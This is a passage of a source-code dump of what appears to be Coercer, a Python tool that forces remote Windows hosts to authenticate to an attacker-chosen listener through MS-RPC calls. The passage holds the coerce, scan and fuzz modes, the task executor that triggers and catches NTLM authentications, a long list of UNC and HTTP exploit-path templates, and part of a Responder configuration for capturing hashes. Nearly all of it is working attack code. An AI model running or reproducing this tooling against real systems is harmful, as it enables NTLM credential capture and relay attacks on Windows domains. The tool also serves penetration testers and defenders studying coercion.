self.test_results[target].keys(): 300 | for version in self.test_results[target][uuid].keys(): 301 | for function_name in self.test_results[target][uuid][version].keys(): 302 | for named_pipe in self.test_results[target][uuid][version][function_name].keys(): 303 | for test_result in self.test_results[target][uuid][version][function_name][named_pipe]: 304 | cursor.execute("INSERT INTO results VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)", ( 305 | target, 306 | uuid, 307 | version, 308 | named_pipe, 309 | test_result["protocol"]["shortname"], 310 | test_result["protocol"]["longname"], 311 | function_name, 312 | test_result["testresult"], 313 | str(bytes(test_result["exploitpath"], 'utf-8'))[2:-1].replace('\\\\', '\\') 314 | ) 315 | ) 316 | # Commit your changes in the database 317 | conn.commit() 318 | # Closing the connection 319 | conn.close() 320 | self.print_info("Results exported to SQLITE3 db in '%s'" % path_to_file) 321 | -------------------------------------------------------------------------------- /coercer/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : __init__.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Jul 2022 6 | -------------------------------------------------------------------------------- /coercer/core/loader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : loader.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 18 Sep 2022 6 | 7 | 8 | import os 9 | import sys 10 | from importlib import import_module 11 | from coercer.structures.MethodType import MethodType 12 | 13 | from coercer.core.Reporter import reporter 14 | 15 | def find_and_load_coerce_methods(): 16 | """ 17 | Function find_and_load_coerce_methods() 18 | 19 | Returns: 20 | list:coerce_methods 21 | """ 22 | coerce_methods = {} 23 | search_dir = os.path.dirname(__file__) + os.path.sep + ".." + os.path.sep + "methods" 24 | reporter.print("Loading coerce methods from %s ..." % search_dir, symbol="loader", debug=True) 25 | sys.path.extend([search_dir]) 26 | for _dir in os.listdir(search_dir): 27 | _dirpath = search_dir + os.path.sep + _dir 28 | if os.path.isdir(_dirpath) and _dir not in ["__pycache__"]: 29 | reporter.print("Loading methods for category %s ..." % _dir, symbol="loader", debug=True) 30 | for _file in os.listdir(_dirpath): 31 | _filepath = _dirpath + os.path.sep + _file 32 | if _file.endswith('.py'): 33 | if os.path.isfile(_filepath) and _file not in ["__init__.py"]: 34 | try: 35 | module = import_module('coercer.methods.%s.%s' % (_dir, _file[:-3])) 36 | method_class = module.__getattribute__(_file[:-3]) 37 | if all([kw in dir(method_class) for kw in ["method_type"]]): 38 | if method_class.method_type not in coerce_methods.keys(): 39 | coerce_methods[method_class.method_type] = {} 40 | # Handling Microsoft Network protocols methods 41 | if method_class.method_type == MethodType.MICROSOFT_PROTOCOL: 42 | if method_class.protocol["shortname"] not in coerce_methods[method_class.method_type].keys(): 43 | coerce_methods[method_class.method_type][method_class.protocol["shortname"]] = {} 44 | if method_class.function["name"] not in coerce_methods[method_class.method_type][method_class.protocol["shortname"]].keys(): 45 | coerce_methods[method_class.method_type][method_class.protocol["shortname"]][method_class.function["name"]] = { 46 | "class": method_class 47 | } 48 | reporter.print(" └──> Loaded Remote Procedure Call %s (opnum %d)" % (method_class.function["name"], method_class.function["opnum"]), symbol="loader", debug=True) 49 | # Handling other methods 50 | elif method_class.method_type == MethodType.OTHER: 51 | pass 52 | else: 53 | reporter.print("'%s' does not match the template." % _file, symbol="loader", debug=True) 54 | except AttributeError as e: 55 | pass 56 | reporter.print("coerce_methods: %s" % str(coerce_methods), symbol="loader", debug=True) 57 | return coerce_methods 58 | -------------------------------------------------------------------------------- /coercer/core/modes/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : __init__.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 17 Jul 2022 6 | -------------------------------------------------------------------------------- /coercer/core/modes/coerce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : coerce.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 18 Sep 2022 6 | 7 | 8 | from coercer.core.Filter import Filter 9 | from coercer.structures.Modes import Modes 10 | from coercer.core.tasks.execute import execute_tasks 11 | from coercer.core.tasks.prepare import prepare_tasks 12 | from coercer.network.rpc import portmap_discover 13 | 14 | from coercer.core.Reporter import reporter 15 | 16 | def action_coerce(target, available_methods, options, credentials): 17 | reporter.verbose = True 18 | 19 | filter = Filter( 20 | filter_method_name=options.filter_method_name, 21 | filter_protocol_name=options.filter_protocol_name, 22 | filter_pipe_name=options.filter_pipe_name 23 | ) 24 | 25 | portmap = {} 26 | if "dcerpc" in options.filter_transport_name: 27 | if not options.dce_ports: 28 | portmap = portmap_discover(target, options.dce_port) 29 | else: 30 | portmap = {} 31 | 32 | # Preparing tasks ============================================================================================================== 33 | 34 | tasks = prepare_tasks(available_methods, options, filter, Modes.COERCE, portmap) 35 | 36 | # Executing tasks ======================================================================================================================= 37 | 38 | reporter.print_info("Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip), verbose=True) 39 | reporter.print_info("Using SMB port %d for authentication" % options.smb_port, verbose=True) 40 | 41 | execute_tasks(tasks, options, target, credentials, Modes.COERCE) 42 | -------------------------------------------------------------------------------- /coercer/core/modes/fuzz.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : fuzz.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 18 Sep 2022 6 | 7 | 8 | from coercer.core.Filter import Filter 9 | from coercer.structures.Modes import Modes 10 | from coercer.core.tasks.execute import execute_tasks 11 | from coercer.core.tasks.prepare import prepare_tasks 12 | from coercer.network.smb import list_remote_pipes 13 | from coercer.network.utils import get_ip_addr_to_listen_on 14 | from coercer.network.rpc import portmap_discover 15 | 16 | from coercer.core.Reporter import reporter 17 | 18 | def action_fuzz(target, available_methods, options, credentials): 19 | filter = Filter( 20 | filter_method_name=options.filter_method_name, 21 | filter_protocol_name=options.filter_protocol_name, 22 | filter_pipe_name=options.filter_pipe_name 23 | ) 24 | 25 | # Preparing pipes ============================================================================================================== 26 | 27 | named_pipe_of_remote_machine = [] 28 | ports = set() 29 | if "msrpc" in options.filter_transport_name: 30 | if credentials.is_anonymous(): 31 | reporter.print_info("Cannot list SMB pipes with anonymous login, using list of known pipes") 32 | named_pipe_of_remote_machine = [ 33 | r'\PIPE\atsvc', 34 | r'\PIPE\efsrpc', 35 | r'\PIPE\epmapper', 36 | r'\PIPE\eventlog', 37 | r'\PIPE\InitShutdown', 38 | r'\PIPE\lsass', 39 | r'\PIPE\lsarpc', 40 | r'\PIPE\LSM_API_service', 41 | r'\PIPE\netdfs', 42 | r'\PIPE\netlogon', 43 | r'\PIPE\ntsvcs', 44 | r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 45 | r'\PIPE\scerpc', 46 | r'\PIPE\spoolss', 47 | r'\PIPE\srvsvc', 48 | r'\PIPE\VBoxTrayIPC-Administrator', 49 | r'\PIPE\W32TIME_ALT', 50 | r'\PIPE\wkssvc' 51 | ] 52 | if options.verbose: 53 | reporter.print_info("Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine)) 54 | else: 55 | named_pipe_of_remote_machine = list_remote_pipes(target, credentials) 56 | reporter.print_info("Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine), verbose=True) 57 | kept_pipes_after_filters = [] 58 | for pipe in named_pipe_of_remote_machine: 59 | if filter.pipe_matches_filter(pipe): 60 | kept_pipes_after_filters.append(pipe) 61 | if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous(): 62 | reporter.print_error("No SMB named pipes matching filter --filter-pipe-name %s were found on the remote machine." % options.filter_pipe_name) 63 | return None 64 | elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous(): 65 | reporter.print_error("No SMB named pipes matching filter --filter-pipe-name %s were found in the list of known named pipes." % options.filter_pipe_name) 66 | return None 67 | else: 68 | named_pipe_of_remote_machine = kept_pipes_after_filters 69 | 70 | if "dcerpc" in options.filter_transport_name: 71 | portmap = portmap_discover(target, options.dce_port) 72 | for uuid in portmap.get("ncacn_ip_tcp",[]): 73 | for port in portmap["ncacn_ip_tcp"][uuid]: 74 | ports.add(port) 75 | 76 | # Preparing tasks ============================================================================================================== 77 | 78 | tasks = prepare_tasks(available_methods, options, filter, Modes.FUZZ) 79 | 80 | # Executing tasks ======================================================================================================================= 81 | 82 | listening_ip = get_ip_addr_to_listen_on(target, options) 83 | reporter.print_info("Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port), debug=True) 84 | 85 | execute_tasks(tasks, options, target, credentials, Modes.FUZZ, listening_ip, ports, named_pipe_of_remote_machine) 86 | -------------------------------------------------------------------------------- /coercer/core/modes/scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : scan.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 18 Sep 2022 6 | 7 | 8 | from coercer.core.Filter import Filter 9 | from coercer.structures.Modes import Modes 10 | from coercer.core.tasks.execute import execute_tasks 11 | from coercer.core.tasks.prepare import prepare_tasks 12 | from coercer.network.utils import get_ip_addr_to_listen_on 13 | from coercer.network.rpc import portmap_discover 14 | 15 | from coercer.core.Reporter import reporter 16 | 17 | def action_scan(target, available_methods, options, credentials): 18 | filter = Filter( 19 | filter_method_name=options.filter_method_name, 20 | filter_protocol_name=options.filter_protocol_name, 21 | filter_pipe_name=options.filter_pipe_name 22 | ) 23 | 24 | portmap = {} 25 | if "dcerpc" in options.filter_transport_name: 26 | if not options.dce_ports: 27 | portmap = portmap_discover(target, options.dce_port) 28 | else: 29 | portmap = {} 30 | 31 | # Preparing tasks ============================================================================================================== 32 | 33 | tasks = prepare_tasks(available_methods, options, filter, Modes.SCAN, portmap) 34 | 35 | # Executing tasks ======================================================================================================================= 36 | 37 | listening_ip = get_ip_addr_to_listen_on(target, options) 38 | reporter.print_info("Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port), verbose=True) 39 | 40 | execute_tasks(tasks, options, target, credentials, Modes.SCAN, listening_ip) -------------------------------------------------------------------------------- /coercer/core/tasks/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : __init__.py 4 | # Author : p0rtL (@p0rtL6) 5 | # Date created : 3 Dec 2024 6 | -------------------------------------------------------------------------------- /coercer/core/tasks/execute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : execute.py 4 | # Author : Podalirius (@podalirius_) / p0rtL (@p0rtL6) 5 | # Date created : 3 Dec 2024 6 | 7 | import sys 8 | import time 9 | from coercer.structures import EscapeCodes 10 | from coercer.structures.TransportType import TransportType 11 | from coercer.structures.Modes import Modes 12 | from coercer.core.utils import generate_exploit_path_from_template, generate_exploit_templates 13 | from coercer.network.DCERPCSession import DCERPCSession 14 | from coercer.network.authentications import trigger_and_catch_authentication, trigger_authentication 15 | from coercer.network.rpc import can_bind_to_interface_on_port, is_port_open 16 | from coercer.network.smb import can_bind_to_interface, can_connect_to_pipe 17 | from coercer.network.utils import get_next_http_listener_port 18 | from coercer.structures.TestResult import TestResult 19 | from coercer.core.Reporter import reporter 20 | 21 | def execute_tasks(tasks, options, target, credentials, mode, listening_ip=None, ports=None , named_pipe_of_remote_machine=None): 22 | for transport_name, transport in tasks.items(): 23 | if mode == Modes.FUZZ: 24 | exploit_paths = generate_exploit_templates() 25 | 26 | if mode == Modes.FUZZ or mode == Modes.SCAN: 27 | http_listen_port = 0 28 | 29 | if len(transport.keys()) == 0: 30 | return None 31 | 32 | transportType = TransportType[transport_name.upper()] 33 | 34 | if transportType == TransportType.NCACN_IP_TCP: 35 | if not "dcerpc" in options.filter_transport_name: 36 | continue 37 | 38 | iterable = ports or sorted(transport.keys()) 39 | def can_connect_function(target, taskEntry, credentials): 40 | return is_port_open(target, taskEntry) 41 | can_bind_function = can_bind_to_interface_on_port 42 | def connect_function(dcerpc, target, taskEntry): 43 | return dcerpc.connect_ncacn_ip_tcp(target=target, port=taskEntry) 44 | 45 | elif transportType == TransportType.NCAN_NP: 46 | if not "msrpc" in options.filter_transport_name: 47 | continue 48 | 49 | iterable = sorted(named_pipe_of_remote_machine) if named_pipe_of_remote_machine else sorted(transport.keys()) 50 | def can_connect_function(target, taskEntry, credentials): 51 | return can_connect_to_pipe(target, taskEntry, credentials) 52 | can_bind_function = can_bind_to_interface 53 | def connect_function(dcerpc, target, taskEntry): 54 | return dcerpc.connect_ncacn_np(target=target, pipe=taskEntry) 55 | 56 | for taskEntry in iterable: 57 | if can_connect_function(target, taskEntry, credentials): 58 | reporter.print(transportType.value, " '", (taskEntry, EscapeCodes.BOLD_BRIGHT_BLUE), "' is ", ("accessible", EscapeCodes.BOLD_BRIGHT_GREEN), "!", symbol=("+", EscapeCodes.BRIGHT_GREEN)) 59 | 60 | if mode == Modes.COERCE or mode == Modes.SCAN: 61 | tasks_inner = transport[taskEntry] 62 | elif mode == Modes.FUZZ: 63 | tasks_inner = transport 64 | 65 | for uuid in sorted(tasks_inner.keys()): 66 | for version in sorted(tasks_inner[uuid].keys()): 67 | if can_bind_function(target, taskEntry, credentials, uuid, version): 68 | reporter.print_ok(" ", "Successful bind to interface (%s, %s)!" % (uuid, version)) 69 | for msprotocol_class in sorted(tasks_inner[uuid][version], key=lambda x:x.function["name"]): 70 | 71 | if mode == Modes.COERCE or mode == Modes.SCAN: 72 | exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 73 | 74 | elif mode == Modes.FUZZ and options.only_known_exploit_paths: 75 | exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 76 | 77 | stop_exploiting_this_function = False 78 | for listener_type, exploitpath in exploit_paths: 79 | if stop_exploiting_this_function: 80 | # Got a nca_s_unk_if response, this function does not listen on the given interface 81 | continue 82 | 83 | if (mode == Modes.SCAN or mode == Modes.FUZZ) and listener_type == "http": 84 | http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options) 85 | 86 | exploitpath = generate_exploit_path_from_template( 87 | template=exploitpath, 88 | listener=options.path_ip or listening_ip or options.listener_ip, 89 | http_listen_port=http_listen_port if mode == Modes.FUZZ else options.http_port, 90 | smb_listen_port=options.smb_port 91 | ) 92 | 93 | if options.path_ip: 94 | reporter.print_info(" ", "Using user provided path: %s" % exploitpath, debug=True) 95 | 96 | msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 97 | dcerpc = DCERPCSession(credentials=credentials) 98 | connect_function(dcerpc, target, taskEntry) 99 | 100 | if dcerpc.session is not None: 101 | dcerpc.bind(interface_uuid=uuid, interface_version=version) 102 | if dcerpc.session is not None: 103 | reporter.print_testing(msprotocol_rpc_instance) 104 | 105 | if mode == Modes.COERCE: 106 | result = trigger_authentication( 107 | dcerpc_session=dcerpc.session, 108 | target=target, 109 | method_trigger_function=msprotocol_rpc_instance.trigger 110 | ) 111 | 112 | elif mode == Modes.SCAN or mode == Modes.FUZZ: 113 | result = trigger_and_catch_authentication( 114 | options=options, 115 | dcerpc_session=dcerpc.session, 116 | target=target, 117 | method_trigger_function=msprotocol_rpc_instance.trigger, 118 | listenertype=listener_type, 119 | listen_ip=listening_ip, 120 | http_port=http_listen_port 121 | ) 122 | 123 | reporter.report_test_result( 124 | target=target, 125 | uuid=uuid, version=version, namedpipe="", 126 | msprotocol_rpc_instance=msprotocol_rpc_instance, 127 | result=result, 128 | exploitpath=exploitpath 129 | ) 130 | 131 | if result == TestResult.NCA_S_UNK_IF: 132 | stop_exploiting_this_function = True 133 | 134 | if mode == Modes.SCAN and options.stop_on_ntlm_auth and result in [TestResult.SMB_AUTH_RECEIVED_NTLMv1, TestResult.SMB_AUTH_RECEIVED_NTLMv2]: 135 | reporter.print_info("NTLM authentication received; moving on to next target") 136 | return None 137 | 138 | if options.delay is not None: 139 | # Sleep between attempts 140 | time.sleep(options.delay) 141 | 142 | if mode == Modes.COERCE and not options.always_continue: 143 | next_action_answer = None 144 | while next_action_answer not in ["C","S","X"]: 145 | next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ") 146 | if len(next_action_answer) > 0: 147 | next_action_answer = next_action_answer.strip()[0].upper() 148 | if next_action_answer == "C": 149 | pass 150 | elif next_action_answer == "S": 151 | stop_exploiting_this_function = True 152 | elif next_action_answer == "X": 153 | return None 154 | else: 155 | if options.verbose: 156 | reporter.print_error(" ", "Cannot bind to interface (%s, %s)!" % (uuid, version)) 157 | else: 158 | reporter.print(transportType.value, " '", (taskEntry, EscapeCodes.BOLD_BRIGHT_BLUE), "' ", ("closed", EscapeCodes.BOLD_BRIGHT_RED), "!", symbol=("!", EscapeCodes.BRIGHT_RED), verbose=True) 159 | -------------------------------------------------------------------------------- /coercer/core/tasks/prepare.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : prepare.py 4 | # Author : Podalirius (@podalirius_) / p0rtL (@p0rtL6) 5 | # Date created : 3 Dec 2024 6 | 7 | from coercer.structures.Modes import Modes 8 | 9 | 10 | def prepare_tasks(available_methods, options, filter, mode, portmap=None): 11 | tasks = {} 12 | for method_type in available_methods.keys(): 13 | for category in sorted(available_methods[method_type].keys()): 14 | for method in sorted(available_methods[method_type][category].keys()): 15 | instance = available_methods[method_type][category][method]["class"] 16 | 17 | if filter.method_matches_filter(instance): 18 | for access_type, access_methods in instance.access.items(): 19 | if access_type not in tasks.keys(): 20 | tasks[access_type] = {} 21 | 22 | # Access through SMB named pipe 23 | if access_type == "ncan_np": 24 | for access_method in access_methods: 25 | namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 26 | if filter.pipe_matches_filter(namedpipe): 27 | if mode == Modes.COERCE or mode == Modes.SCAN: 28 | if namedpipe not in tasks[access_type].keys(): 29 | tasks[access_type][namedpipe] = {} 30 | 31 | if uuid not in tasks[access_type][namedpipe].keys(): 32 | tasks[access_type][namedpipe][uuid] = {} 33 | 34 | if version not in tasks[access_type][namedpipe][uuid].keys(): 35 | tasks[access_type][namedpipe][uuid][version] = [] 36 | 37 | if instance not in tasks[access_type][namedpipe][uuid][version]: 38 | tasks[access_type][namedpipe][uuid][version].append(instance) 39 | 40 | elif mode == Modes.FUZZ: 41 | if uuid not in tasks[access_type].keys(): 42 | tasks[access_type][uuid] = {} 43 | 44 | if version not in tasks[access_type][uuid].keys(): 45 | tasks[access_type][uuid][version] = [] 46 | 47 | if instance not in tasks[access_type][uuid][version]: 48 | tasks[access_type][uuid][version].append(instance) 49 | 50 | elif access_type == "ncacn_ip_tcp": 51 | for access_method in access_methods: 52 | uuid, version = access_method["uuid"], access_method["version"] 53 | 54 | if mode == Modes.COERCE or mode == Modes.SCAN: 55 | for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]): 56 | if port not in tasks[access_type].keys(): 57 | tasks[access_type][port] = {} 58 | 59 | if uuid not in tasks[access_type][port].keys(): 60 | tasks[access_type][port][uuid] = {} 61 | 62 | if version not in tasks[access_type][port][uuid].keys(): 63 | tasks[access_type][port][uuid][version] = [] 64 | 65 | if instance not in tasks[access_type][port][uuid][version]: 66 | tasks[access_type][port][uuid][version].append(instance) 67 | 68 | elif mode == Modes.FUZZ: 69 | if uuid not in tasks[access_type].keys(): 70 | tasks[access_type][uuid] = {} 71 | 72 | if version not in tasks[access_type][uuid].keys(): 73 | tasks[access_type][uuid][version] = [] 74 | 75 | if instance not in tasks[access_type][uuid][version]: 76 | tasks[access_type][uuid][version].append(instance) 77 | return tasks -------------------------------------------------------------------------------- /coercer/core/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : utils.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 15 Sep 2022 6 | 7 | 8 | import random 9 | import jinja2 10 | 11 | 12 | def gen_random_name(length=8): 13 | alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 14 | name = "" 15 | for k in range(length): 16 | name += random.choice(alphabet) 17 | return name 18 | 19 | 20 | def generate_exploit_templates(desired_auth_type=None): 21 | add_uncommon_tests = False 22 | 23 | templates = [ 24 | # Only ip 25 | ("smb", '{{listener}}\x00'), 26 | # SMB 27 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'), 28 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'), 29 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'), 30 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\\x00'), 31 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\x00'), 32 | # SMB path with ? 33 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'), 34 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'), 35 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'), 36 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\\x00'), 37 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\x00'), 38 | # SMB path with . 39 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'), 40 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'), 41 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'), 42 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\\x00'), 43 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\x00'), 44 | # UNC path with ? 45 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'), 46 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'), 47 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'), 48 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\\x00'), 49 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\x00'), 50 | # UNC path with ?? 51 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'), 52 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\aa\x00'), 53 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'), 54 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'), 55 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\\x00'), 56 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\x00'), 57 | # UNC path with . 58 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'), 59 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'), 60 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'), 61 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\\x00'), 62 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\x00'), 63 | # HTTP 64 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\File.txt\x00'), 65 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\\x00'), 66 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\x00'), 67 | ("http", '\\\\{{listener}}{{http_listen_port}}\\\x00'), 68 | ("http", '\\\\{{listener}}{{http_listen_port}}\x00') 69 | ] 70 | 71 | if add_uncommon_tests: 72 | templates += [ 73 | 74 | # HTTP 75 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\Path\\File.txt\x00'), 76 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\Path\\\x00'), 77 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\Path\x00'), 78 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\\x00'), 79 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\x00'), 80 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\\x00'), 81 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\x00'), 82 | 83 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/Path/File.txt\x00'), 84 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/Path/\x00'), 85 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/Path\x00'), 86 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/\x00'), 87 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}\x00'), 88 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/\x00'), 89 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}\x00'), 90 | 91 | ("smb", '\\UNC\\{{listener}}\\{{rnd(8)}}\\file.txt\x00'), 92 | ("smb", '\\UNC\\{{listener}}\\{{rnd(8)}}\\\x00'), 93 | ("smb", '\\UNC\\{{listener}}\\{{rnd(8)}}\x00'), 94 | ("smb", '\\UNC\\{{listener}}\\\x00'), 95 | ("smb", '\\UNC\\{{listener}}\x00'), 96 | 97 | ("smb", 'UNC\\{{listener}}\\{{rnd(8)}}\\file.txt\x00'), 98 | ("smb", 'UNC\\{{listener}}\\{{rnd(8)}}\\\x00'), 99 | ("smb", 'UNC\\{{listener}}\\{{rnd(8)}}\x00'), 100 | ("smb", 'UNC\\{{listener}}\\\x00'), 101 | ("smb", 'UNC\\{{listener}}\x00'), 102 | 103 | ("smb", 'UNC:\\{{listener}}\\{{rnd(8)}}\\file.txt\x00'), 104 | ("smb", 'UNC:\\{{listener}}\\{{rnd(8)}}\\\x00'), 105 | ("smb", 'UNC:\\{{listener}}\\{{rnd(8)}}\x00'), 106 | ("smb", 'UNC:\\{{listener}}\\\x00'), 107 | ("smb", 'UNC:\\{{listener}}\x00'), 108 | 109 | ("http", 'http://{{listener}}/EndpointName/File.txt\x00'), 110 | ("http", 'http://{{listener}}/EndpointName/\x00'), 111 | ("http", 'http://{{listener}}/\x00'), 112 | ("http", 'http://{{listener}}\x00'), 113 | 114 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\Path\\File.txt\x00'), 115 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\Path\\\x00'), 116 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\Path\x00'), 117 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\\x00'), 118 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\x00'), 119 | ("http", 'file://\\\\{{listener}}\\EndpointName\\\x00'), 120 | ("http", 'file://\\\\{{listener}}\\EndpointName\x00'), 121 | ] 122 | 123 | paths = [] 124 | for auth_type, exploit_path in templates: 125 | if desired_auth_type is not None: 126 | if auth_type == desired_auth_type: 127 | paths.append((auth_type, exploit_path)) 128 | else: 129 | paths.append((auth_type, exploit_path)) 130 | return paths 131 | 132 | 133 | def generate_exploit_path_from_template(template, listener, http_listen_port=80, smb_listen_port=445): 134 | # Declaring template functions 135 | rnd = gen_random_name 136 | 137 | if smb_listen_port is not None and smb_listen_port != 445: 138 | smb_listen_port = "@%d" % smb_listen_port 139 | else: 140 | smb_listen_port = "" 141 | 142 | if http_listen_port is not None: 143 | http_listen_port = "@%d" % http_listen_port 144 | else: 145 | http_listen_port = "@80" 146 | 147 | # Rendering template 148 | exploit_path = jinja2.Template(template).render( 149 | listener=listener, 150 | rnd=rnd, 151 | http_listen_port=http_listen_port, 152 | smb_listen_port=smb_listen_port 153 | ) 154 | return exploit_path 155 | -------------------------------------------------------------------------------- /coercer/ext/responder/Responder.conf: -------------------------------------------------------------------------------- 1 | [Responder Core] 2 | 3 | ; Servers to start 4 | SQL = On 5 | SMB = On 6 | RDP = On 7 | Kerberos = On 8 | FTP = On 9 | POP = On 10 | SMTP = On 11 | IMAP = On 12 | HTTP = On 13 | HTTPS = On 14 | DNS = On 15 | LDAP = On 16 | DCERPC = On 17 | WINRM = On 18 | 19 | ; Custom challenge. 20 | ; Use "Random" for generating a random challenge for each requests (Default) 21 | Challenge = Random 22 | 23 | ; SQLite Database file 24 | ; Delete this file to re-capture previously captured hashes 25 | Database = Responder.db 26 | 27 | ; Default log file 28 | SessionLog = Responder-Session.log 29 | 30 | ; Poisoners log 31 | PoisonersLog = Poisoners-Session.log 32 | 33 | ; Analyze mode log 34 | AnalyzeLog = Analyzer-Session.log 35 | 36 | ; Dump Responder Config log: 37 | ResponderConfigDump = Config-Responder.log 38 | 39 | ; Specific IP Addresses to respond to (default = All) 40 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 41 | RespondTo = 42 | 43 | 